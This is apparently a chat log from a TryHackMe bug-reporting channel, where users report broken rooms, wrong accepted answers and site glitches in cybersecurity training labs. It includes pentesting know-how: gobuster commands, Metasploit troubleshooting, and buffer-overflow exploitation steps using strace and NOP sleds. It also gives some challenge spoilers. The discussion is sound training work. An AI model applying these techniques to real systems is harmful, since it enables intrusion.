Just rebooting (battery has died on said laptop, just moved downstairs).
I have an old install of Kali on another VM.
What updates have you done? I used to be a web dev
Its my obfuscation methods
Hmm
I can revert it I guess
I just need to know where its breaking
So on the console it will kinda say
Whats causing the browser to break
Best command to run for that info?
Its in your browser console
Right click, click inspect
Then there is a tab calle "Console"
Hahaa, ohh that console π€ͺ
Just loading the VM back up
Itβs been a long day at work π
Yeah no problem, just out having a cig then I can be around to test as much as you need π€
awesome thanks π
Will me connecting to the vpn help in any way from your end?
no
Shift F5
Clear your cache and try again
Load that file
Just go to it in your browser
And try come back again π
Less errors but still spinning
Just taken my dinner out of the oven, Iβll be more on it properly in ten π€
Ok ty
Small typo, likely missing a word
π€
majority of top 10 users by scoreboard of https://tryhackme.com/room/bpsplunk haven't answered #2.17. is the question too elusive?
TryHackMe is a platform for learning and teaching cyber security.
I hope not haha
I put that question in there as one of the less technical items, it's just not super obvious from the help menu
i'm thinking something's got to be up with that based on stats from the scoreboard. numerous people have answered every question but that one
looks like a few question on the room chat including the most recent are related to that question as well
I can tell you the question is worded almost nearly as you would find it in a splunk textbook as I reviewed one of my books when making that room
The hint I'll provide is: p**** t****
would it help to add a hint to that question (within the webUI)?
Done
thanks! now to watch the numbers on the scoreboard and see if that did the trick π
Haha yeah
small typo in the upload page: We are uploading your file. Please be patient, manually refreshing this page will destory <<[typo here] all progress..
God, I gotta find a XSS on THM xD.
Realistically I need to talk to Skidy about a web app for it
Rather a pentest on the site
^
xss room has err_connection_timed_out errors for me fairly consistently. esp reproducable under the Filter Evasion section, I can't "submit" new attempts more than 2-3x in a row without the room timing out. happens across ff/chrome on diff computers and ISPs. also across multiple instances of the deployed room across 3 days.
a second item to note is that under tasks 8.3 and 8.4, i've got several variations that meet the objective of displaying an alert with "Hello" but don't yield a flag afterwards. happy to give examples in a DM if anyone wants to add those to the corpus of accepted inputs for future users
Hey, yeah the XSS room has problems that I need to fix when I get time.
Sorry for that
Vulnversity Task 3 about gobuster does not list the subcommand dir: 'gobuster -e -u http://<ip>:3333 -w <word list location'
Yes I figured my way around it I just wanted to submit it so it could be fixed. Thank you both @tawdry totem @frosty cape
I only have a few minutes at a time so im still on vulnversity is Task 4 #3 written correctly? I found the area but to me doesn't seem as described
"Now make sure BurpSuite is configured to intercept all your browser traffic. Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.
Click the "Positions" tab now, find the filename and "Add Β§" to the extension. It should look like so"
I think it should be Intruder > Positions > Attack Type: Sniper ... Because Payloads tab is different.
The Linux CTF two of them u cant do
Which ones @slow sphinx ?
@frosty cape
could you update the room, playing with my OCD ngl aha that ive done it but its saying I havent ah a
Flag 26 and 27 are solvable ^^
Currently no one able to solve flag 25, Imma trying it
@tawdry totem
Oh yes?
I am try to find Flag 26 or 27 in Linux Challenge
@tawdry totem I am almost certain that I stumbled across flag26 or flag27 while I was looking for another flag.
Alright, will pm you now. Plus, this is not the correct channel. This is a bug reporting channel.
sorry man
Guess its been discussed already. But the βadd 1 hourβ option is not working(at least for me)
What do you mean?
Does nothing happen?
Just tested it, seems to work for me
What happens when you try to extend?
extended with around 10mins before the machine expired
and even though i extended it, it closed
yeah, there was no problem form e
for me, spawned a new one
oh right? Has anyone had this problem?
When you extended did it say the expire time was in 1 hour?
Yup
Spelling error (https://tryhackme.com/badges)
Fixed thanks for letting me know
https://tryhackme.com/room/ccradare2 Issue with task 2, question 4
TryHackMe is a platform for learning and teaching cyber security.
Answer should be -- rather than -
@covert kernel
To explain a little more, all the other answers needed the - prefix so this shouldn't be an exception
Ayy, glad I could help. Otherwise, really enjoying that radare tutorial @covert kernel
:D
seeing an issue where I can't deploy VMs in new rooms
steps to reproduce:
- join room
- click "deploy"
a. seeStarting your machine.. please wait!banner
b. nothing ever happens - If I refresh browser window, no IP info is available and the "Deploy" button is green again for me to select
also can't seem to terminate my VM from the heartbleed room. perhaps the two issues are related?
I'm having the same issue with deploying the PowerShell VM
Hey. Just noticed something not important.
TryHackMe is a platform for learning and teaching cyber security.
Perfect thank you. I won't blame my incompetence yet
bruhh
Our infrastructure providers are experiencing a temporary issue, for now you will be unable to deploy machines. We apologise any inconvenience, feel free to reach out to us!
For now, don't forget you can do any of the machines where you don't have to deploy a machine or any of the rooms where the VM is publicly available (i.e. any of my rooms where the download of the vm is available on https://darkstar7471.com/downloads/
You are welcome, cool :)
A typo. Nothing serious! :)
https://tryhackme.com/room/juiceshop TASK4; HINT
TryHackMe is a platform for learning and teaching cyber security.
https://tryhackme.com/room/vulnversity I think the flag -u is wrong for gobuster in the version that's in the kali repos at least
TryHackMe is a platform for learning and teaching cyber security.
Unknown shortform flag
in fact, the whole command given won't work
gobuster now needs you to specify what you're trying to bruteforce
Ok, you can specify -u if you specify the type of scan
So you need gobuster dir -u <target> -w <wordlist>
Latest version here
Also, the answer for what extension is blocked
txt files are blocked, with the message that that extension is not allowed
So is zip
And png
Everything so far reports extension not allowed
what common extension π
Skip that question and come back to it
It will make more sense after maybe
They're all common extensions
Oh it wanted a . prefix
Well, the gobuster point still stands
Bugged time since posting? Was at 2m ago last night when I checked this last. Not sure if this is known yet
I have only completed the first 10 tasks of the c4ptur3-th3-fl4g room but it seems to have bugged and decided I've finished all of it
The other sections aren't showing the tasks. I've replicated this in a few different browsers
@mortal root try leaving the room and rejoin quickly, see if that resyncs the tasks
It's likely due to the age of the room that it's glitching out
weird, that fixed it. cheers @rugged ermine
yup! Glad that worked and that I could help haha @mortal root
By the way, what level at you right now @mortal root ?
I can get your tags updated in the discord π
0x9 - I've been so busy finishing uni/interning that I've fallen far from grace :p
You can also DM me any certs you have and I'll get you tagged accordingly
so now I have a little bit more time I'm trying to regain ground
awesome thanks π
@rugged ermine seems to be a recurring issue, just joined another (much newer) room and as soon as I joined, same issue
no
oh wait
i had the exact same issue
i just thought none of those had questions
timezones seem off for me, can't see anywhere on my profile where I could change it
for reference I'm in the UK now (10:50PM)
I am too in the UK
No issues for me
It uses your local clock
So if you're using a VM, is that VM's time zone set to GMT?
Can you change it to UK format?
Just to see if that fixed it
If so I will try find a solution
doesn't affect functionality anyway π
What browser are you using? And whats its version number?
Yeah but is annoying for you aha π
Ill get it fixed
Firefox 60.8.0esr π
Finished the window bof box, nice box btw. However, I found a small bug in the description.
The EIP should be reverse due to big endian.
Took me sometime to figure it out haha.
Is that considered a bug?
In this case, kind of. This is a known bug as that page is somewhat deprecated. Realistically, for the Bug Hunter award I believe we're looking for major errors in the site overall (not to be a wet towel of the conversation)
That page realistically needs a revisiting and it does have it charm
@rugged ermine You have a typo in RP:metasploit in the Initialising section
Should be msf, not mdf
Additionally, q6 on Task 5. it asks for the full path but you need to enter it without the exploit/, which means it's not the full path
I'll add exploit on it, good catch on both of those haha
@rugged ermine Good room though, I felt like I learnt a lot because I've been avoiding msf as it makes me feel like a dirty skiddy
While a lot of people consider MSF to be easy mode, it's an essential tool for even stringing together other frameworks
The other frameworks part I should have realistically alluded to in that room but I tried to keep it mostly essentials-focused. You can pretty much throw whatever you want in the payload and get things like Cobalt Strike, PowerShell Empire, or even Silent Trinity involved. Metasploit is a framework that is stupid powerful
@rugged ermine Yeah, that's why I want to learn it. But I'd rather learn the 'real' ways alongside
This page is now out of date, as HB2 happened
Oh goodness, my team is listed on that page still lol
yeah, it's the highest scoring team
Updated locally, will be made live this evening.
Skidy with the ninja edits lol
...I just got dabbed on by Skidy..... Oh lordy
lmao
oh lordy
@spiral flame There are multiple for that and it's actually grepping for the correct answer there
Not the best screenshot but that's from the control panel
I had that mentioned to me just a bit ago, it's been retired unfortunately so I'll just change it
I'll go back and grab a screenshot
I just updated the room lol
Is the cryptofun room supposed to have more than 1 txt file for download?
for Task 1
Uhh... LanSharks2 on the 2nd place.
Hehe as it should be @earnest solar
I agree @rugged ermine
Still needing 1 more member xD
If anyone wanna join, youβre welcome. Just PM me. A beginner or an experienced user, doesnβt matter

In Fowsniff CTF Task#1.10 is In the email, who send it? Using the password from the previous question and the senders username, connect to the machine using SSH. This should say the recipients username, not sender.
In KnockKnock question 3 is looking for the wrong answer. Either the question should be reworded for the answer thats currently considered correct, or the expected answer changed to match the current question
In room Biohazard, when you obtain "crest 4" there are two hints that are described as being related to "crest 2" when in fact they're for "crest 4"
@tawdry totem that one would be for ya
In room Alfred question #1, The answer to How many ports are open is incorrect, there are double that amount of open (and responding) ports
In room Kenobi, question #2, The accepted answer to, Scan the machine with nmap, how many ports are open? is incorrect as there are 5 additional ports open. The question is assuming you're not completing a full port scan and only using nmap's default port list
I'm getting a connection error on the ninjaskills room
I'm connected to the VPN
Ignore me, now working
Yeah sorry, it takes up to 3 minutes to boot!
Isn't it should be fire away!
@spring heron thank you for the solid QC on the rooms as you go, helps us go back and catch small things β€οΈ
In /room/cryptochallenges Task #8 successfully decrypts but is not the accepted answer. Additionally, the given answer format of "12char 4chars, 3chars..." doesn't occur as a pattern anywhere in the decrypted text
@spring heron additionally, the XOR challenges need to be decoded from hex first
After completing the RP: Metasploit room, it doesn't seem to be showing up in my list of badges
I tried leaving and re-joining
not a huge deal, but wasn't sure if anyone else had this prob
@sturdy halo I don't think there's a badge for it
Yeah actually, I don't have that badge
Skidy can likely get this taken care of in just a short bit
cool, thanks
In a room, its not showing you have the badge, but what badge is available
I can see why it looks confusing
It looks like you're going to get the badge.
But its just showing you whats up for grabs
It will earn you that badge
@frosty cape I did the room, and didn't get the badge
oh sorry, AFTER doing the room
@delicate dragon
Ill take a look guys regarding the badges sorry
Ooooo
Its because, I added the badge a few days after the room was released
So it wouldnt have updated for you
Please DM your username me and I will add the badge to your account!
(I'm just giving you a hard time)
:p
I'm gonna implement the auto subscription role assign feature
But seriously, how did it die?
No idea, I haven't peeked at the console yet
Oh
@delicate dragon do you have a DB set up so !rank can detect who you are yet?
It's in progress, since the new feature Skidy implemented will give you a token which will help you to verify as it'll help you to change roles accordingly, as soon as you get rank there, yours will be updated here.
Might take a while since I have exam, but will be implemented this week.
Oh cool. Looking forward to it and good luck with your exam.
Thanks
In Brainstorm room i can't get a response from the deployed machine, tried resetting it several times.
In room Goldeneye Task2 question 3: Inspect port 55007, what services is configured to use this port is looking for the wrong service name than what is actually responding on that port
In room WebGramming Task 2 "Repeat" the service on port 19001 is insanely unstable and requires multiple re-deployments while interacting with the service due to crashes
Ok, giving up on WebGramming until it can be looked at. The instability isn't limited to Task2 that I mentioned earlier and effects all the tasks. You have between 1-5mins before the app crashes and stops responding for all the tasks.
@spring heron I had the same issue with GoldenEye months ago - I think it'd be good if we had a better way of tracking room issues/alerting authors
Because I know how frustrating it can be when you've already invested time into a challenge and you reach a roadblock that shouldn't exist
+1 for issue tracker
I've dropped it in #544951750801752079 π
Looking at the room, seems like there's been 0 completions in ~6 months, maybe in addition to issue tracking, gathering analytics about user engagement with rooms would be good
like completion times, most hinted questions etc, would help identify issues people don't report formally and help content creators improve their submissions
Also maybe a code escrow for rooms. So if a contributor is no longer active but the room needs care/feeding it could be made available for a new maintainer to take over
Hmm yeah I guess there's a weird ownership issue there, once an OVA is uploaded to THM it's no longer retrievable by room creators (correct me if I'm wrong). Also don't know if there's a particular term/condition of who owns the rooms/VMs once they are uploaded to THM
But yes, I think a good example is the "Cardboard" challenge in HackBack2. There's a known issue with broken port knocking on there, but it seems there's no way it's going to be fixed
"2. Use License
Unless explicity stated or credited, users are assumed to own the material they used to create a room." - so I guess in its current state, THM would need to have a new policy where rooms can be modified after submission with perhaps an opt-out? And then ask existing content creators if this can be applied retroactively
hmm, yeah
In room HackBack 2019, Task 4 (Jurassic Park) it doesn't appear that Flag4 is being generated (unless the reference to it is a red herring). Same within the Jurassic Park room as well obviously.
I beat on flag four for literal months
|| it's a red herring, there is no flag four. I have the actual flag four hash that I had to ask for originally, let me know if you want it ||
In room Intro to x86-64, Task 6:CrackMe, the logic in the binary is flawed and accepts multiple values as the correct password, as long as the first 3 chars are correct
The question is What is the password? and the answer format was ***.*.*.*
Task7 has a similar issue, the binary accepts a single character and responds that its the correct password
@spiral flame I read back thru the room and dont see where it says what are the first 3 chars of the correct password, nor in the prompts for either binary, enter your password and Please enter password
Might be thinking of a different RE course on thm then
Error in Windows BOF. ```This tool is called pattern_offset.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
pattern_offset != pattern_create.rb
Bug in powershell. Get-Command | measure returns 7935. Deskel's writeup says 7935. Submission doesn't accept that as answer π¦
Soooo
UltraTech Task2 Question5
the submit button doesn't work
pressing submit and there is no "Correct answer" nor "Wrong answer" popping
tried with UBlock disabled too
it's odd because the other worked. Tried in a different room and those worked too
I managed that the other day... Interesting
@earnest solar Ah you're right, I will look into this later this week
All the tasks in WildFireCTF appear to be broken
What task and question number @vocal raptor ?
@sly raft for windows BoF, task 3 question 6. the tool we use does not match the name of the command it says to run. For powershell, task 3 question 3 π
You're correct, it should be vmdk
(this is on the landing page when you're not logged in)
In room Toolbox: Vim Task3, Quest 6 the accepted answer isn't the correct one
On the THM Blog there is a write-up for Zeus, but the link leads to "Owner has made this room private"
@rugged ermine I think that your room?
I think we made it private as we're seeking permission from the original VM creator.
@spiral flame Thanks, updated! The change will be made live this evening.
In "HackBack 2019" Task 14, Quest 1: there is nothing in the provided pcap that would be an indicator of the accepted answer, and is more of a guess based on the description of the task.
In the room ICE is the accepted answer for the CVE correct?
Yes, at least for me
I got a 2004 one
And that's what the msfmodule lists as the CVE that it's using
But thats not the correct one based on question #1
But it is the correct answer based on what you're actually doing
The exploit you pop
the 2014 CVE isnt RCE nor is it a cvss score of 10
There might be 2 CVE's for the same vuln
I remember Dark complaining about when that happens a little bit ago
I mean I had CVE-2004-****
@tribal knoll nope, two different CVEs one is buffer overflow with score of 7.5 from 2004. The one described in question #1 is RCE from 2001 and had a score of 10
I mean they're right, the only 10.0 score cve is the 2001 one
@rugged ermine So yeah, this is actually an issue
nvm just realised this is bugs and not room help smh
Could switch the number 10 to βRated as criticalβ
but you'd also have to change the accepted answer for #1 since the 2004 CVE isnt RCE
Guys hate to tell ya, I know itβs a room intended for learning but youβve just dropped the answers in here
This is bugs
I thought it was room-help at first tbh
@spiral flame its a BO that can lead to RCE
Deleted my spoilers
It gives you RCE, it's classified as Execute Code,Overflow
I know itβs bugs. But regardless you have posted the cve
Which in turn spoils the question it asks
It's normal to spoil answers in bugs
Very normal, scrolling back
You kind of have to, if your answer is right and the accepted answer isn't
Thats RCE via Buffer overflow. Straight-up RCE would be something like Vulnerability Type(s) Execute Code
The results of exploiting a vuln isnt what dictates the vuln type. A BO can also lead to DoS , but I'll agree to disagree. π
You legit both just said the same thing but reworded nvm I can't read ignore me
I should double read stuff before I open my mouth π
Has anyone had success with priv escal on ICE?
I did when it was RP metasploit
Multiple attempts, with multiple redeployments , all failed so far
MSF versions:
Framework: 5.0.61-dev-
Console : 5.0.61-dev-
From Ubuntu 19.0.4
Can an admin check to make sure msdefender isnt eating them? π
Pretty strange, seeing as it worked on rp metasploit and this is the same VM afaik
I can assure you that box doesn't have defender
all of my testing was done using the THM-hosted version of the box and it all does work
welp, as the saying goes... 64th times a charm. Finally popped second session
Speaking directly as the developer, Ice is my most thoroughly tested room. Some of the items in it can take a few attempts but that's just pentesting in general there
π
@rugged ermine Did you see the chatter early about quest #1 and 2 under task 3?
I can check on that now
I did not previously
Resolved, it was a misalignment specifically from myself looking at the CVE's associated with Icecast. If you check https://www.cvedetails.com you'll find Icecast is plagued with CVE's and I had misaligned that between the two sources I had looked at.
CVEdetails.com is a free CVE security vulnerability database/information source. You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time
I've adjusted the wording on the vulnerability type question as well. While I consider this to be RCE, I'm using the wording now on CVE Details to avoid any confusion
π Nice work @rugged ermine, the rest of the completed as expected. The badge is fitting given the season π
Thank you π
Thank you guys as always for the fine-grained checks on the room, helps me maintain them and provide clarity
@rugged ermine remember to put the VM files on your site asw
^Yup yup, I have to compress it but I'm in the process on doing that today
I have to update my rooms to have links to the download page
tyvm for the reminder of course
Any idea why priv esc is escaping me?
What architecture is your shell?
I tried both x86 and x64, x64 wouldn't give me a shell
For me I'm assuming most of it was related to my migrating my CTF workstation build to 19.04 and working out the kinks
the suggestion engine doesn't work super well on x64
I got the exploit, just would never give me a session
Good to know though since other people will undoubtedly hit similar issues
[*] Exploit complete, but no session was created.
do you have your LHOST set correctly? I had that happen a bunch
one other thing to keep in mind is that LHOST isnt global, unless you specifically set it...
it might not be 'catching' it
hmm
I can also give you the local version of the box in a short bit, that might help
(could I also get a rank up real quick, 0xD now)
done!

That's HTB isn't it
oihuj;aerg
welcome to Friday!
xD hey at least we got it
@rugged ermine So if the privesc doesn't work, I have to redeploy the machine?
My biggest pet peeve right now is MSF 5 not catching ctrl + z properly anymore
Sometimes, it will work most of the time and a lot of times you can just rerun the exploit @spiral flame
@spiral flame double check lhost, its not global by default
Ok
In HackBack 2019 Task12 question 8. What site did the user go to? Answer with the sites FQDN the accepted answer format isn't the FQDN that the user accessed. Edited for clarity
And same task question9, Look at all downloads in the pcap, who did this user download a photo of? There are only two downloads in the pcap and both are a 1x1 gif. Or is there an deeper puzzle here that I'm overlooking?
there are quite a few that appear unsolvable in that room due to various issues, I have a running list that I'll post once I've done as much as I can
@spring heron yep, and the same with hackback2
Would you guys be interested in beta testing? This would be for my content specifically (primer rooms, etc)
@rugged ermine yes for sure!
I would be up for that too π
I'll make a chat in just a bit for beta testing, I'll invite y'all
gotcha!
@rugged ermine π
doing the mrrobot room and when you get to wordpress it kinda shits the bed
pages taking like 5+ mins to load
sometimes not even loading
me and the bois have uploaded a reverse shell, but we can't even load the page to trigger it
#room-help would be best here β€οΈ
I didnβt have this issue tbh
@hollow arch you have a typo on the main page of djinn
on the webserver page
let's see how good your are
Also, I think it actually asks 1001 maths questions
Python loop goes till 1001 meaning it will stop on 1000
https://tryhackme.com/room/kali can't complete the 2nd (duplicated?) question REEEEE
TryHackMe is a platform for learning and teaching cyber security.
@hollow arch my script loop counts 0-1000 inclusive so there's 1001
@neon zealot This is so weird.
Erm, when you're online again this evening please let me know and I can check what the issue might be
@frosty cape UltraTech still doesnβt validate task 2 question 5 answer π
The question about number of REST routes?
Yes
Hmm, validated for me. I just dont recall which day I solved it on to comapre results. Was in the last 20d tho
Tried validating it about 1 week ago
It validated for me
I just reminded Skidy to look into it xD
I tried different browsers
I donβt get that pop up
Ehich says its wrong or right
Chrome on MacOS here
@hollow arch @spiral flame yeah, counting the one that is sent with the initial connection there are 1001 operations
oh
as far as I remember I was running the loop till 1001 so I thought it might be 1000
999 - b" (3, '-', 1)\n>"
1000 - b" (2, '+', 8)\n>"
1001 - b" (7, '*', 2)\n>"
[*] Switching to interactive mode
Not sure whether to put it here or feedback but it says "Horay!" when you deploy your machine, should it be "Hooray!" or do both work?
A deviation of 'hooray' The phrase may have originated from Pokey the Penguin.
lol
Where did you see that @neon zealot ?
In rooms?
If so, I have just updated it. The change will go live after lunchtime today.
Hurray or hurrah
Still can't seem to pass https://tryhackme.com/room/kali
The question seems to have duplicated for me, and when I click "completed" it says it's the wrong answer
TryHackMe is a platform for learning and teaching cyber security.
It's duplicated that question
Wondering why it wont let me answer it though
Leave and re enter the room
tried, still there sadly
Interesting. It's happened to 2 different people on 2 different rooms recently
I guess for now I'll leave the room cause it's messing up my "rooms in/rooms complete" ratio
Ahhh, I thought I had fixed the duplication bug
When did that start appearing @neon zealot
X-posting from #room-help
Can an admin check the network/firewall setting for when WebGramming is deployed? When it first deploys its reachable from outside THM VPN, then becomes available only from VPN, then a few minutes later stops responding altogether, including pings
I noticed it yesterday
Just checked again today and it's there
maybe it only fixes for people who don't have any progress in the room?
In room Intro to Windows BoF Task2 Question 5, What is the name of the Administrator account?
Should that be What is the name on the admin account vs "of"
No, the grammar works fine as it is
I'd argue "on the admin account" is less correct
But the name of the admin account is Administrator, no?
I don't know without doing the room, but it varies by windows install
Windows account have a "Name" like Administrator and a "Full Name' like Jim Smith.
The accepted answer is looking for the value of the "Full Name" of the admin account
Then that might be a better way of asking the question
Full Name, rather than username
Also on the same room Task3 Question 1 How many ports are open on the box? The accepted answer is for the number of ports detected by a default scan of nmap and not that actual number of responding ports.
@frosty cape space required!
Yeah fixing all spacing issues on that page π
I am re-reading it π
Ah! apologies i made you re read it!
Nah needed to be updated, so thank you! π
Hey @frosty cape I think I need to dm you about something
It might be chrome being dumb actually
Nvm, 99% sure it is.
(sorry)
X-Posting
Not sure if this falls under #room-help or #site-bugs but the subscription-only room Buffer Overflows is brutal
The description is Learn how to get started with basic Buffer Overflows! but the last two challenges would fall in the expert category due to a disassembler not being installed in the deployed room
I've spent 5hrs this morning attempting it by utilizing strace to determine some of the address locations and can get to the point of controlling RIP, but even with a NOP sled of 60+ its a guessing game to determine the stack pointer in order to hit the sled
Additionally, I tried compiling GDB but it doesn't appear as the redhat dev toolkit is installed either since the current compiler doesnt support C++11 (I also believe the toolkit installs GDB)
About 6hrs in I finally have code execution, will work on swapping in shellcode when I'm back from an event tonight.

bash-4.2$ whoami
user1
Should be user2... this def isnt a beginner challenge π
No worries, my mind is fried from this one so any dialog is welcome
I flush the ENV prior to exploiting so I get a consistent stack, I'll have to look into how that impacts SUID execution, I wouldnt think it would
hey @spring heron
i'm so sorry about that - I was quite sure that r2 was installed on there
uploaded the image to have r2 + gdb on there
so it should work fine
^ i disabled ASLR + Canaries when creating the challenges so the addresses should be static O.o
Thanks @sly raft, there should be a badge for getting shell using only strace for analysis. π
Are the absolute links to localhost on the BluePrint website intentional?
@spring heron yes they are. Youβll have to dig aaaaa liiittle deeper
omggg did you pop a shell using strafe @spring heron ?
Also if you're using another program to run shellcode like gdb/strace it would use the SUID bit of those programs instead of the actual binary
Which is why you use those programs to test if the shell code works, add a bunch of NOP sleds to make it reliable, and run it using the binary
So the login page, it says username or email. I tried with my username and it didn't let me log in.
Worked with my email
I'll investigate:)
@sly raft I used strace -i ./buffer-overflow ... to aid in "brute forcing" the stack address and then ultimately popped shell with env -i ./buffer-overflow ... but it didn't retain SUID. When I'm back from traveling later tonight I'll give it another try without wiping ENV
some elements are not responsive
Ahhhh, I will update this tonight. Thanks for reporting :)
Btw I haven't tried chrome mobile, only firefox mobile
Do you have "request desktop site" on? @remote laurel
I bork
Should the button say add writeup instead?
Yeah the only thing is... the site is not really intended for mobile. Its on my to-do list, but I can't imagine anyone using the site on their phone... unless they're ub3r l33t.
Ah yeah!
Updated, will be made live tomorrow π
A very large portion of the world only use mobile, while it's unlikely there are people who do use sites on mobile that aren't made for it (IE Free code camp https://www.freecodecamp.org/news/how-i-went-from-programming-with-a-feature-phone-to-working-for-an-mit-startup-40ca3be4fa0f/ ). might be a nice unique selling point. hard to imagine kali on a phone, but termux exists or they might just want to read the walkthrough rooms π
In 2012, I was just a village boy from Nigeria who had nothing but a dream and a
Nokia feature (J2ME) phone. Today, Iβm a 19 year old Android developer who has
worked on over 50 apps and currently works for an MIT startup. My name is Elvis
Chidera [https://www.linkedin.com/...
Oo @vocal raptor yeah I had not considered that. Thanks! I'll make the site much more mobile friendly in the near future π
Room BrainStorm Task#2 Quest#2 How many ports are open?
The accepted answer is twice the number of listening ports.
@covert kernel In your reverselfiles room, I think task 5 has a typo on the prompt. Binary would print "Good Game" not "good job"
Thanks man, I'll change it
(I might be wrong)
@rugged ermine Is joystick meant to be unbearably slow, on the terminal?
It's kinda sluggish since it's running a game server
Does it just not have enough ram or CPU?
@rugged ermine can RP nessus still be ran with nessus 8?
Yeah, there's not any major difference there between the versions
Then I'd suggest changing the "Nessus 7 Manual" to "Nessus 8 Manual"
If it needs it I can give the machine more resources
I was just thinking that haha, I need to change that room
Not yet dark!
I've been working on updating my content the past few days of course
lemme complete it first
Also probably add a warning saying "nessus can take HOURS to install once you get to the web ui, you're gonna wanna leave it for a bit"
Hey @frosty cape Heartbleed is a part of Hackback2019 (Task 7), so should the room still be private?
^ room is private because it's a full break down of the vulnerability
Ah ok
This is what the sub page looks like on mobile
Alignment seems off
Seems like the name should be above
Im just getting connection refused, multiple instances now
Where?
New christmas room
Gotta wait for the web server to start @cosmic glade
And you can't run multiple instances at the same time
Also make sure you're either VPN'd or using the THM your own kali box
I'm VPN'd, it's been minutes since server deployed
Normally the rooms come up in less than 60 seconds
is port 3000 correct?
Alright thanks, that was a while but it's finally up
@frosty cape https://tryhackme.com/room/corp VM is showing token=undefined upon deploying
TryHackMe is a platform for learning and teaching cyber security.
pinged Skidy in particular bc I know he's looked into that same issue before. and actually, happening across rooms for me now (Kali room as well)
https://tryhackme.com/room/kali This states 30GB memory, it should really say 30GB disk
TryHackMe is a platform for learning and teaching cyber security.
@spiral flame was that comment for me?
π thinking again how discord needs threaded convos
Discord is like irc, irc has the same issues.
yes, though Slack and MS teams setting the standard w/ convo threads
For the second prompt, when doing the thing to find the fixed value, my first one was actually missing part of it. it was missing the last three characters... (Tried saying this in a way to not give out spoilers)
Is this a bug? Mine worked properly
Santa didnt keep the last 3 characters
In the Advent of Cyber Task 5 Q#2 _
If you decode the cookie, what is the value of the fixed part of the cookie?_ the accepted answer will take a partial answer
π
Hello, i think there is a bug on "vulnversity" challenge, in Task 4 they tell us to " Try upload a few file types to the server, what common extension seems to be blocked?" so only 1 should be blocked, but it seems that they are all blocked, even if i have found the solution
Only one will be accepted rather
One of those extensions will work (hint it's the weirdest one)
Ok thanks π
@frosty cape can u check the UltraTech room? i cannot submit the answer for Task #2 question #5
UltraTech is broken for the time being - I will fix it when I have a spare 30 minutes
I will be making this room private for the time being
Sorry @next anchor - I will take a look at fixing it now actually
@earnest solar Ah I understand now
Leave the room
And re-join
That will fix your problem
Question duping is getting worse
Or sample size has gone much up and people are reporting
Advent challenge VPN IP addresses login breaking on callenges is big bug
Minor time formatting bug in chat:
@frosty cape are you author of corp room? Trying to figure out who can fix the room (specifically last question logging in as admin since the admin account password expired in mid november)
@rugged ermine
Well poop, Skidy will have to catch that one with the box name
Is anyone else experiencing that issue?
nope
@neon zealot That CHristmas capital is fixed
Also, I have a bunch of trouble logging in.
I reset my cookies every browser close, would this be an issue?
It says I'm using the wrong username and password, but I have an account manager... I've reset my password like 3 times thinking I just misplaced it..
Try using email rather than username @clever cloud
@clever cloud nah, username login doesn't work for me either
@frosty cape did you find a fix for that?
Going to restart OpenVPN server in 10 mins
Just uploading some code to improve the platform. Don't want it crashing again
Yeah, people are still using GoBuster
And all those requests are being routed throuh the VPN server
Will fragment at some point
@frosty cape I was mainly referring to the login issue. You can't log in with your username but the prompt is username/email.
Couple of people, myself included, have found that
Is the restart currently happenin'?
Yeet
Pushed
Hopefully that will stop the crash.. I'm going to eat my words I just know it
Thanks, been fixed
Also, people who make rooms can't view them if they're sub only. They can manage but not view
oh yeah, thats actually a very good point
Thats providing they dont have a sub tho right?
@frosty cape yea
Thanks, added to my list π
In room https://tryhackme.com/room/xss , it says You do not need to be connected to our network to deploy and access this. but I get given a 10.10.x.x IP
TryHackMe is a platform for learning and teaching cyber security.
why does every room link redirect to the why subscribe link?
Because it's a sub only room?
TryHackMe is a platform for learning and teaching cyber security.
i guess that why, but you can make me like it! π‘
@frosty cape The password hash is impossible, shadow file isn't readable by this user and you don't have sudo
@sly raft Neither file is readable
DM pls π
Advent of Cyber, Task 9/Day 4, Item #5 - seems broken; running the same command results in diff #s of files on different people's systems
yay
Thanks for the fix β€οΈ
π β€οΈ 
@sly raft fun fact, leading zeroes in an IP address octet leads to undefined behaviour. Windows treats it as Octal and things go vey wrong.
I mean undefined behaviour also means it could go right ;)
Hi, I have some weird behavior with day 4 challenge. I can see the questions while logged out, but can't see them anymore once logged in. I have tried to disable adblocker, change my browser, I even tried with another computer, but still the exact same problem :/
@haughty sand try to leave the room and re-join
@slender pagoda it worked, thanks!
Can I get an admin or someone who has access to check how the "answer" function works on the site, @celest summit found an interesting bug
It appears, at least on one question in todays room, but perhaps all questions, if you submit the right answer, the answer will accept even if anything incorrect is following the right answer in the answer box. Example: if 1.1.1.1 is the answer, you can submit 1.1.1.1.5.3.5.1.2 and the answer will submit successfully.
This is true of at least 9-4 in the advent room
AFAIK the answers all (or most) have some regex for matching, and especially that one might be because they "fixed" the answer as there was some weird results showing up
There's a fair amount of regex involved in the answer submission, hence why the answers can be overly forgiving at times
We use a similarity metric to check answers so the text you enter must be 80% similar to the answer
And I think this is done by comparing characters
^ Yeah, its not quite perfected though as you can see.
@frosty cape on the 'Teams' leaderboard page, captain is spelt wrong.
For the room kenobi, the mount command no longer works
Hello task 9 has no questions and it indicates that I have completed it. How can I fix it? (cyber advent)
Leave and rejoin the room
Answer to Alfred q1 is wrong
Nmap with all ports shows 1 more than the answer stated
Investigating Windows is unbearably slow, probably needs more resources as it's a gui
Definitely needs more RAM
Things like event viewer take a long time to load which makes completing any tasks a real chore
Also the answer that was there for Hackback (2?) on that room doesn't work. Room is the same and the logs are the same
Answer format was wrong
Also yeah, too little ram to even open notepad in under a minute
Hm, I've noticed the boot time on the VMs have gotten worse since December
After a spur of machine deploys
I will investigate π
@spiral flame The answer are not the same, its a different VM
Was just simulated the same
Ah must have attached the same questions
Also
In terms of the boot times on AWS
I need to request higher resouce rate
So hopefully it will improve soonish
Yeah we're being limited - I have requested our quota to be increased.
Confirmed bug, I have the same issue with 12 pages. I think it rounds to the next multiple of 6.
i guess its a counting problem related to filter buttons
when you filter it shows less available pages
but not fixing the scroll
Even without filtering, I get the extra pages
@frosty cape just a suggestion for better UI remove them from the scroll better than disable them, it is confusing control
@rugged ermine is the bot meant to say welcome βspecial_quoteβ or is it meant to be replaced with an actual quote when someone joins?
That's a rare event, it'll typically do a normal quote. Likely that cog is malfunctioning
Ah ok, I knew they were rare but wasnβt sure if special_quotr was just a variable that hadnβt updated
